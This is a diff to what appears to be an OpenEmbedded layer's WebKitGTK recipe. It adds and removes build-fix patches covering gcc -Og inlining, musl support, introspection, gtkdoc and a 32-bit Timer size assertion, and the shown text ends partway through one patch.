+++ b/meta/recipes-sato/webkit/webkitgtk/0001-CMake-Add-a-variable-to-control-macro-__PAS_ALWAYS_I.patch
@@ -0,0 +1,73 @@
+From 575b848a3b3c14280679db80d0d518922c83d62a Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Fri, 11 Aug 2023 14:20:48 +0800
+Subject: [PATCH] Add a variable to control macro
+ __PAS_ALWAYS_INLINE_BUT_NOT_INLINE
+ https://bugs.webkit.org/show_bug.cgi?id=260065
+
+Reviewed by NOBODY (OOPS!).
+
+It fails to compile webkitgtk with option `-Og` of gcc/g++:
+
+| In file included from Source/bmalloc/libpas/src/libpas/pas_heap_page_provider.h:30,
+| from Source/bmalloc/libpas/src/libpas/pas_bootstrap_heap_page_provider.h:29,
+| from Source/bmalloc/libpas/src/libpas/pas_large_heap_physical_page_sharing_cache.h:29,
+| from Source/bmalloc/libpas/src/libpas/pas_basic_heap_page_caches.h:29,
+| from Source/bmalloc/libpas/src/libpas/pas_heap_config_utils.h:32,
+| from Source/bmalloc/libpas/src/libpas/bmalloc_heap_config.h:34,
+| from Source/bmalloc/libpas/src/libpas/bmalloc_heap_inlines.h:34,
+| from Source/bmalloc/bmalloc/bmalloc.h:39,
+| from Source/bmalloc/bmalloc/bmalloc.cpp:26:
+| In function 'pas_allocation_result pas_local_allocator_try_allocate(pas_local_allocator*, size_t, size_t, pas_heap_config, pas_allocator_counts*, pas_allocation_result_filter)',
+| inlined from 'pas_allocation_result pas_try_allocate_common_impl_fast(pas_heap_config, pas_allocator_counts*, pas_allocation_result_filter, pas_local_allocator*, size_t, size_t)' at webkitgtk-2.40.2/Source/bmalloc/libpas/src/libpas/pas_try_allocate_common.h:85:46,
+| inlined from 'pas_allocation_result bmalloc_try_allocate_with_alignment_impl_impl_fast(pas_local_allocator*, size_t, size_t)' at webkitgtk-2.40.2/Source/bmalloc/libpas/src/libpas/bmalloc_heap_inlines.h:59:1,
+| inlined from 'pas_allocation_result pas_try_allocate_intrinsic_impl_casual_case(__pas_heap*, size_t, size_t, pas_intrinsic_heap_support*, pas_heap_config, pas_try_allocate_common_fast, pas_try_allocate_common_slow, pas_intrinsic_heap_designation_mode)' at webkitgtk-2.40.2/Source/bmalloc/libpas/src/libpas/pas_try_allocate_intrinsic.h:167:44,
+| inlined from 'pas_allocation_result bmalloc_try_allocate_with_alignment_impl_casual_case(size_t, size_t)' at webkitgtk-2.40.2/Source/bmalloc/libpas/src/libpas/bmalloc_heap_inlines.h:59:1:
+| webkitgtk-2.40.2/Source/bmalloc/libpas/src/libpas/pas_allocation_result.h:76:1: error: inlining failed in call to 'always_inline' 'pas_allocation_result pas_allocation_result_identity(pas_allocation_result)': function not considered for inlining
+| 76 | pas_allocation_result_identity(pas_allocation_result result)
+| | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Add an variable `WEBKIT_NO_INLINE_HINTS` to control macro
+__PAS_ALWAYS_INLINE_BUT_NOT_INLINE whether includes function attribute
+`always_inline`. It could set the variable to make compilation pass when
+gcc option `-Og` is used.
+
+* Source/bmalloc/libpas/src/libpas/pas_utils_prefix.h:
+* Source/cmake/WebKitCompilerFlags.cmake:
+
+Upstream-Status: Submitted [https://github.com/WebKit/WebKit/pull/16601]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+---
+ Source/bmalloc/libpas/src/libpas/pas_utils_prefix.h | 2 +-
+ Source/cmake/WebKitCompilerFlags.cmake | 7 +++++++
+ 2 files changed, 8 insertions(+), 1 deletion(-)
+
+diff --git a/Source/bmalloc/libpas/src/libpas/pas_utils_prefix.h b/Source/bmalloc/libpas/src/libpas/pas_utils_prefix.h
+index 5d5fb38c..a554f700 100644
+--- a/Source/bmalloc/libpas/src/libpas/pas_utils_prefix.h
++++ b/Source/bmalloc/libpas/src/libpas/pas_utils_prefix.h
+@@ -44,7 +44,7 @@ __PAS_BEGIN_EXTERN_C;
+ #define __SUSPICIOUS__
+ #define __BROKEN__
+
+-#ifdef __OPTIMIZE__
++#if defined(__OPTIMIZE__) && !defined(WEBKIT_NO_INLINE_HINTS)
+ #define __PAS_ALWAYS_INLINE_BUT_NOT_INLINE __attribute__((__always_inline__))
+ #else
+ #define __PAS_ALWAYS_INLINE_BUT_NOT_INLINE
+diff --git a/Source/cmake/WebKitCompilerFlags.cmake b/Source/cmake/WebKitCompilerFlags.cmake
+index 9b2fecf9..7cdc2b6a 100644
+--- a/Source/cmake/WebKitCompilerFlags.cmake
++++ b/Source/cmake/WebKitCompilerFlags.cmake
+@@ -453,3 +453,10 @@ endif ()
+
+ # FIXME: Enable pre-compiled headers for all ports <https://webkit.org/b/139438>
+ set(CMAKE_DISABLE_PRECOMPILE_HEADERS ON)
++
++# It fails to compile with `gcc -Og`
++set(WEBKIT_NO_INLINE_HINTS OFF CACHE BOOL "Disable funtion attribute always_inline for WebKit")
++
++if (WEBKIT_NO_INLINE_HINTS)
++ add_definitions(-DWEBKIT_NO_INLINE_HINTS)
++endif ()
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch
deleted file mode 100644
index 268118b5ca..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 8ee7806ad2d5606967f7a1529a113fb9d1a386de Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 3 Feb 2020 17:06:27 -0800
-Subject: [PATCH] Enable THREADS_PREFER_PTHREAD_FLAG
-
-Fixes build failures on risv64
-
-Taken from https://trac.webkit.org/changeset/231843/webkit
-
- Enable THREADS_PREFER_PTHREAD_FLAG. This uses -pthread instead of
--lpthread, fixing the 64-bit RISC-V build of the GTK+ port due to
-missing atomic primitives.
-
-Upstream-Status: Submitted [https://trac.webkit.org/changeset/231843/webkit]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Source/cmake/OptionsGTK.cmake | 2 ++
- Source/cmake/OptionsJSCOnly.cmake | 1 +
- 2 files changed, 3 insertions(+)
-
-diff --git a/Source/cmake/OptionsGTK.cmake b/Source/cmake/OptionsGTK.cmake
-index d3beef19..6a92856f 100644
---- a/Source/cmake/OptionsGTK.cmake
-+++ b/Source/cmake/OptionsGTK.cmake
-@@ -17,6 +17,8 @@ set(WEBKITGTK_HEADER_INSTALL_DIR "${CMAKE_INSTALL_INCLUDEDIR}/webkitgtk-${WEBKIT
- set(INTROSPECTION_INSTALL_GIRDIR "${CMAKE_INSTALL_FULL_DATADIR}/gir-1.0")
- set(INTROSPECTION_INSTALL_TYPELIBDIR "${LIB_INSTALL_DIR}/girepository-1.0")
-
-+set(THREADS_PREFER_PTHREAD_FLAG ON)
-+
- find_package(Cairo 1.14.0 REQUIRED)
- find_package(Fontconfig 2.8.0 REQUIRED)
- find_package(Freetype 2.4.2 REQUIRED)
-diff --git a/Source/cmake/OptionsJSCOnly.cmake b/Source/cmake/OptionsJSCOnly.cmake
-index b2e87418..326ade23 100644
---- a/Source/cmake/OptionsJSCOnly.cmake
-+++ b/Source/cmake/OptionsJSCOnly.cmake
-@@ -1,3 +1,4 @@
-+set(THREADS_PREFER_PTHREAD_FLAG ON)
- find_package(Threads REQUIRED)
-
- if (MSVC)
---
-2.25.0
-
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch b/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
index fae3b0b2e5..8e29ce17ed 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
@@ -1,27 +1,29 @@
-From 317a5ac120c44987219bc03486cd2f2d1842c9b9 Mon Sep 17 00:00:00 2001
+From 6348f91c29e2350ad3fec5264aa57dd4994d4583 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 27 Oct 2015 16:02:19 +0200
Subject: [PATCH] FindGObjectIntrospection.cmake: prefix variables obtained
from pkg-config with PKG_CONFIG_SYSROOT_DIR
-Upstream-Status: Pending [review on oe-core list]
+See discussion at https://bugs.webkit.org/show_bug.cgi?id=232933 for
+reasons why this is not approproiate for upstream submission.
+
+Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- Source/cmake/FindGObjectIntrospection.cmake | 1 +
- 1 file changed, 1 insertion(+)
+ Source/cmake/FindGI.cmake | 3 +++
+ 1 file changed, 3 insertions(+)
-diff --git a/Source/cmake/FindGObjectIntrospection.cmake b/Source/cmake/FindGObjectIntrospection.cmake
-index e1f49b4..03a4446 100644
---- a/Source/cmake/FindGObjectIntrospection.cmake
-+++ b/Source/cmake/FindGObjectIntrospection.cmake
-@@ -26,6 +26,7 @@ macro(_GIR_GET_PKGCONFIG_VAR _outvar _varname _extra_args)
- else ()
- string(REGEX REPLACE "[\r\n]" " " _result "${_result}")
- string(REGEX REPLACE " +$" "" _result "${_result}")
-+ string(CONCAT _result $ENV{PKG_CONFIG_SYSROOT_DIR} "${_result}")
- separate_arguments(_result)
- set(${_outvar} ${_result} CACHE INTERNAL "")
+diff --git a/Source/cmake/FindGI.cmake b/Source/cmake/FindGI.cmake
+index fdc56b21..d42eca52 100644
+--- a/Source/cmake/FindGI.cmake
++++ b/Source/cmake/FindGI.cmake
+@@ -72,6 +72,9 @@ if (PKG_CONFIG_FOUND)
endif ()
---
-2.1.4
-
+ endif ()
+
++set(_GI_SCANNER_EXE "$ENV{PKG_CONFIG_SYSROOT_DIR}${_GI_SCANNER_EXE}")
++set(_GI_COMPILER_EXE "$ENV{PKG_CONFIG_SYSROOT_DIR}${_GI_COMPILER_EXE}")
++
+ find_program(GI_SCANNER_EXE NAMES ${_GI_SCANNER_EXE} g-ir-scanner)
+ find_program(GI_COMPILER_EXE NAMES ${_GI_COMPILER_EXE} g-ir-compiler)
+
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 6dcb52956c..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From 828a500d5be62ba6fc94bd4fac3fe4bf1b1d4f6d Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 6 Oct 2017 17:00:08 +0300
-Subject: [PATCH] Fix build with musl
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Source/JavaScriptCore/runtime/MachineContext.h | 10 +++++-----
- Source/WTF/wtf/PlatformHave.h | 2 +-
- 2 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/Source/JavaScriptCore/runtime/MachineContext.h b/Source/JavaScriptCore/runtime/MachineContext.h
-index c5052527..95ef98b5 100644
---- a/Source/JavaScriptCore/runtime/MachineContext.h
-+++ b/Source/JavaScriptCore/runtime/MachineContext.h
-@@ -196,7 +196,7 @@ static inline void*& stackPointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- #if CPU(X86)
- return reinterpret_cast<void*&>((uintptr_t&) machineContext.gregs[REG_ESP]);
-@@ -347,7 +347,7 @@ static inline void*& framePointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -498,7 +498,7 @@ static inline void*& instructionPointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -656,7 +656,7 @@ inline void*& argumentPointer<1>(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -773,7 +773,7 @@ inline void*& llintInstructionPointer(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-diff --git a/Source/WTF/wtf/PlatformHave.h b/Source/WTF/wtf/PlatformHave.h
-index daca20fe..53eae6ba 100644
---- a/Source/WTF/wtf/PlatformHave.h
-+++ b/Source/WTF/wtf/PlatformHave.h
-@@ -222,7 +222,7 @@
- #define HAVE_HOSTED_CORE_ANIMATION 1
- #endif
-
--#if OS(DARWIN) || OS(FUCHSIA) || ((OS(FREEBSD) || defined(__GLIBC__) || defined(__BIONIC__)) && (CPU(X86) || CPU(X86_64) || CPU(ARM) || CPU(ARM64) || CPU(MIPS)))
-+#if OS(DARWIN) || OS(FUCHSIA) || ((OS(FREEBSD) || defined(__linux__) || defined(__BIONIC__)) && (CPU(X86) || CPU(X86_64) || CPU(ARM) || CPU(ARM64) || CPU(MIPS)))
- #define HAVE_MACHINE_CONTEXT 1
- #endif
-
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch
deleted file mode 100644
index aa9a06701a..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 0afc194c6446e6c3242f1d706b4564e3a9cb2cee Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 29 Aug 2016 16:38:11 +0300
-Subject: [PATCH] Fix racy parallel build of WebKit2-4.0.gir
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Source/WebKit/PlatformGTK.cmake | 9 +++++----
- 1 file changed, 5 insertions(+), 4 deletions(-)
-
-diff --git a/Source/WebKit/PlatformGTK.cmake b/Source/WebKit/PlatformGTK.cmake
-index a074a80..8c6ebb5 100644
---- a/Source/WebKit/PlatformGTK.cmake
-+++ b/Source/WebKit/PlatformGTK.cmake
-@@ -728,8 +728,9 @@ if (ENABLE_INTROSPECTION)
- string(REGEX MATCHALL "-L[^ ]*"
- INTROSPECTION_ADDITIONAL_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
-
-- add_custom_command(
-- OUTPUT ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.gir
-+ # This is a target and not a command because it's used to build another .gir
-+ # and a .typelib, which would trigger two racy parallel builds when using command
-+ add_custom_target(WebKit2-${WEBKITGTK_API_VERSION}-gir
- DEPENDS WebKit
- DEPENDS ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
- COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS} LDFLAGS=
-@@ -773,7 +774,7 @@ if (ENABLE_INTROSPECTION)
- add_custom_command(
- OUTPUT ${CMAKE_BINARY_DIR}/WebKit2WebExtension-${WEBKITGTK_API_VERSION}.gir
- DEPENDS ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
-- DEPENDS ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.gir
-+ DEPENDS WebKit2-${WEBKITGTK_API_VERSION}-gir
- COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS}
- LDFLAGS="${INTROSPECTION_ADDITIONAL_LDFLAGS}"
- ${LOADER_LIBRARY_PATH_VAR}="${INTROSPECTION_ADDITIONAL_LIBRARY_PATH}"
-@@ -828,7 +829,7 @@ if (ENABLE_INTROSPECTION)
-
- add_custom_command(
- OUTPUT ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.typelib
-- DEPENDS ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.gir
-+ DEPENDS WebKit2-${WEBKITGTK_API_VERSION}-gir
- COMMAND ${INTROSPECTION_COMPILER} --includedir=${CMAKE_BINARY_DIR} ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.gir -o ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.typelib
- )
-
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch b/meta/recipes-sato/webkit/webkitgtk/0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch
deleted file mode 100644
index e8d1d8c341..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From bed4cf4aaa6aad4172ec9942e9039fb8e1ef68a4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 29 Feb 2016 18:13:39 +0200
-Subject: [PATCH] OptionsGTK.cmake: drop the hardcoded introspection/gtkdoc
- disabling when cross-compiling
-
-This was not possible to override from the command line and in OpenEmbedded
-(one of the most prominent cross-compilation frameworks) introspection does work fine,
-through the use of qemu target emulation.
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
-Upstream-Status: Pending
-
----
- Source/cmake/OptionsGTK.cmake | 6 ------
- 1 file changed, 6 deletions(-)
-
-diff --git a/Source/cmake/OptionsGTK.cmake b/Source/cmake/OptionsGTK.cmake
-index 661b40e..404441b 100644
---- a/Source/cmake/OptionsGTK.cmake
-+++ b/Source/cmake/OptionsGTK.cmake
-@@ -352,12 +352,6 @@ if (ENABLED_COMPILER_SANITIZERS)
- set(ENABLE_INTROSPECTION OFF)
- endif ()
-
--# Override the cached variables, gtk-doc and gobject-introspection do not really work when cross-building.
--if (CMAKE_CROSSCOMPILING)
-- set(ENABLE_GTKDOC OFF)
-- set(ENABLE_INTROSPECTION OFF)
--endif ()
--
- # Override the cached variable, gtk-doc does not really work when building on Mac.
- if (APPLE)
- set(ENABLE_GTKDOC OFF)
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch
deleted file mode 100644
index 866e9d9d09..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 1c7e7a385387d7febf633bbb6d2b99ece523e719 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 11 Aug 2016 17:13:51 +0300
-Subject: [PATCH] Tweak gtkdoc settings so that gtkdoc generation works under
- OpenEmbedded build system
-
-This requires setting a few environment variables so that the transient
-binary is build and linked correctly, and disabling the tweaks to RUN
-variable from gtkdoc.py script so that our qemu wrapper is taken into use.
-
-Upstream-Status: Inappropriate [oe-specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Source/cmake/GtkDoc.cmake | 2 +-
- Tools/gtkdoc/gtkdoc.py | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/Source/cmake/GtkDoc.cmake b/Source/cmake/GtkDoc.cmake
-index 18e86448..102c873a 100644
---- a/Source/cmake/GtkDoc.cmake
-+++ b/Source/cmake/GtkDoc.cmake
-@@ -4,7 +4,7 @@ macro(ADD_GTKDOC_GENERATOR _stamp_name _extra_args)
- add_custom_command(
- OUTPUT "${CMAKE_BINARY_DIR}/${_stamp_name}"
- DEPENDS ${DocumentationDependencies}
-- COMMAND ${CMAKE_COMMAND} -E env "CC=${CMAKE_C_COMPILER}" "CFLAGS=${CMAKE_C_FLAGS} -Wno-unused-parameter" "LDFLAGS=${CMAKE_EXE_LINKER_FLAGS}" ${PYTHON_EXECUTABLE} ${CMAKE_SOURCE_DIR}/Tools/gtkdoc/generate-gtkdoc ${_extra_args}
-+ COMMAND ${CMAKE_COMMAND} -E env "CC=${CMAKE_C_COMPILER}" "CFLAGS=${CMAKE_C_FLAGS} -Wno-unused-parameter" "LD=${CMAKE_C_COMPILER}" "LDFLAGS=${CMAKE_C_LINK_FLAGS}" "RUN=${CMAKE_BINARY_DIR}/gtkdoc-qemuwrapper" ${PYTHON_EXECUTABLE} ${CMAKE_SOURCE_DIR}/Tools/gtkdoc/generate-gtkdoc ${_extra_args}
- COMMAND touch ${_stamp_name}
- WORKING_DIRECTORY "${CMAKE_BINARY_DIR}"
- VERBATIM
-diff --git a/Tools/gtkdoc/gtkdoc.py b/Tools/gtkdoc/gtkdoc.py
-index 054cafa1..416de7d1 100644
---- a/Tools/gtkdoc/gtkdoc.py
-+++ b/Tools/gtkdoc/gtkdoc.py
-@@ -320,9 +320,9 @@ class GTKDoc(object):
- additional_ldflags = '%s %s' % (additional_ldflags, arg)
- ldflags = ' "-L%s" %s ' % (self.library_path, additional_ldflags) + ldflags
- current_ld_library_path = env.get('LD_LIBRARY_PATH')
-- if current_ld_library_path:
-+ if current_ld_library_path and 'RUN' not in env:
- env['LD_LIBRARY_PATH'] = '%s:%s' % (self.library_path, current_ld_library_path)
-- else:
-+ elif 'RUN' not in env:
- env['LD_LIBRARY_PATH'] = self.library_path
-
- if ldflags:
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch b/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch
deleted file mode 100644
index 3e03aa968c..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 8f1e170a6de8036ab50eb35834a77f2c79412ee3 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 28 Oct 2015 14:18:57 +0200
-Subject: [PATCH] When building introspection files, add CMAKE_C_FLAGS to the
- compiler flags.
-
-g-ir-compiler is using a C compiler internally, so it needs to set
-the proper flags for it.
-
-Upstream-Status: Pending [review on oe-core list]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Source/JavaScriptCore/PlatformGTK.cmake | 2 +-
- Source/WebKit/PlatformGTK.cmake | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/Source/JavaScriptCore/PlatformGTK.cmake b/Source/JavaScriptCore/PlatformGTK.cmake
-index 0b2968d2..2742ad80 100644
---- a/Source/JavaScriptCore/PlatformGTK.cmake
-+++ b/Source/JavaScriptCore/PlatformGTK.cmake
-@@ -71,7 +71,7 @@ if (ENABLE_INTROSPECTION)
- add_custom_command(
- OUTPUT ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
- DEPENDS JavaScriptCore
-- COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations LDFLAGS=
-+ COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS} LDFLAGS=
- ${LOADER_LIBRARY_PATH_VAR}="${INTROSPECTION_ADDITIONAL_LIBRARY_PATH}"
- ${INTROSPECTION_SCANNER}
- --quiet
-diff --git a/Source/WebKit/PlatformGTK.cmake b/Source/WebKit/PlatformGTK.cmake
-index e36e4c35..943f9794 100644
---- a/Source/WebKit/PlatformGTK.cmake
-+++ b/Source/WebKit/PlatformGTK.cmake
-@@ -742,7 +742,7 @@ if (ENABLE_INTROSPECTION)
- OUTPUT ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.gir
- DEPENDS WebKit
- DEPENDS ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
-- COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations LDFLAGS=
-+ COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS} LDFLAGS=
- ${LOADER_LIBRARY_PATH_VAR}="${INTROSPECTION_ADDITIONAL_LIBRARY_PATH}"
- ${INTROSPECTION_SCANNER}
- --quiet
-@@ -786,7 +786,7 @@ if (ENABLE_INTROSPECTION)
- OUTPUT ${CMAKE_BINARY_DIR}/WebKit2WebExtension-${WEBKITGTK_API_VERSION}.gir
- DEPENDS ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
- DEPENDS ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.gir
-- COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations
-+ COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS}
- LDFLAGS="${INTROSPECTION_ADDITIONAL_LDFLAGS}"
- ${LOADER_LIBRARY_PATH_VAR}="${INTROSPECTION_ADDITIONAL_LIBRARY_PATH}"
- ${INTROSPECTION_SCANNER}
diff --git a/meta/recipes-sato/webkit/webkitgtk/2922af379dc70b4b1a63b01d67179eb431f03ac4.patch b/meta/recipes-sato/webkit/webkitgtk/2922af379dc70b4b1a63b01d67179eb431f03ac4.patch
new file mode 100644
index 0000000000..3067500447
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/2922af379dc70b4b1a63b01d67179eb431f03ac4.patch
@@ -0,0 +1,38 @@
+From 2922af379dc70b4b1a63b01d67179eb431f03ac4 Mon Sep 17 00:00:00 2001
+From: Michael Catanzaro <mcatanzaro@redhat.com>
+Date: Mon, 18 Mar 2024 11:14:54 -0700
+Subject: [PATCH] REGRESSION(274077@main): failure to build on i586 (and likely
+ other 32bit arches): static assertion failed: Timer should stay small
+ https://bugs.webkit.org/show_bug.cgi?id=271108
+
+Unreviewed build fix. This changes SameSizeOfTimer to ensure it matches
+the size of Timer on 32-bit platforms.
+
+* Source/WebCore/platform/Timer.cpp:
+
+Canonical link: https://commits.webkit.org/276282@main
+
+Upstream-Status: Backport [https://github.com/WebKit/WebKit/commit/2922af379dc70b4b1a63b01d67179eb431f03ac4]
+
+Signed-off-by: Markus Volk <f_l_k@t-online.de>
+---
+ Source/WebCore/platform/Timer.cpp | 6 +++++-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/Source/WebCore/platform/Timer.cpp b/Source/WebCore/platform/Timer.cpp
+index 4f7c0f5c39ca9..0f3734cca2474 100644
+--- a/Source/WebCore/platform/Timer.cpp
++++ b/Source/WebCore/platform/Timer.cpp
+@@ -263,7 +263,11 @@ struct SameSizeAsTimer {
+
+ WeakPtr<TimerAlignment> timerAlignment;
+ double times[2];
+- void* pointers[3];
++ void* pointers[2];
++#if CPU(ADDRESS32)
++ uint8_t bitfields;
++#endif
++ void* pointer;
+ };
+
+ static_assert(sizeof(Timer) == sizeof(SameSizeAsTimer), "Timer should stay small");
diff --git a/meta/recipes-sato/webkit/webkitgtk/30e1d5e22213fdaca2a29ec3400c927d710a37a8.patch b/meta/recipes-sato/webkit/webkitgtk/30e1d5e22213fdaca2a29ec3400c927d710a37a8.patch
new file mode 100644
index 0000000000..76bcb3df99
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/30e1d5e22213fdaca2a29ec3400c927d710a37a8.patch
@@ -0,0 +1,67 @@
+From 1523e00a2a76e285262c8aa3721b5d99f3f2d612 Mon Sep 17 00:00:00 2001
+From: Thomas Devoogdt <thomas.devoogdt@barco.com>
+Date: Mon, 16 Jan 2023 17:03:30 +0100
+Subject: [PATCH] REGRESSION(257865@main): B3Validate.cpp: fix
+
+ !ENABLE(WEBASSEMBLY_B3JIT)
+
+https://bugs.webkit.org/show_bug.cgi?id=250681
+
+Reviewed by NOBODY (OOPS!).
+
+WasmTypeDefinition.h isn't included if not ENABLE(WEBASSEMBLY_B3JIT).
+Also, toB3Type and simdScalarType are not defined if it is included.
+
+Signed-off-by: Thomas Devoogdt <thomas.devoogdt@barco.com>
+
+Upstream-Status: Inappropriate [https://bugs.launchpad.net/ubuntu/+source/webkit2gtk/+bug/2008798]
+
+Signed-off-by: Markus Volk <f_l_k@t-online.de>
+---
+ Source/JavaScriptCore/b3/B3Validate.cpp | 12 +++++++++---
+ 1 file changed, 9 insertions(+), 3 deletions(-)
+
+diff --git a/Source/JavaScriptCore/b3/B3Validate.cpp b/Source/JavaScriptCore/b3/B3Validate.cpp
+index eaaa3749..1d089783 100644
+--- a/Source/JavaScriptCore/b3/B3Validate.cpp
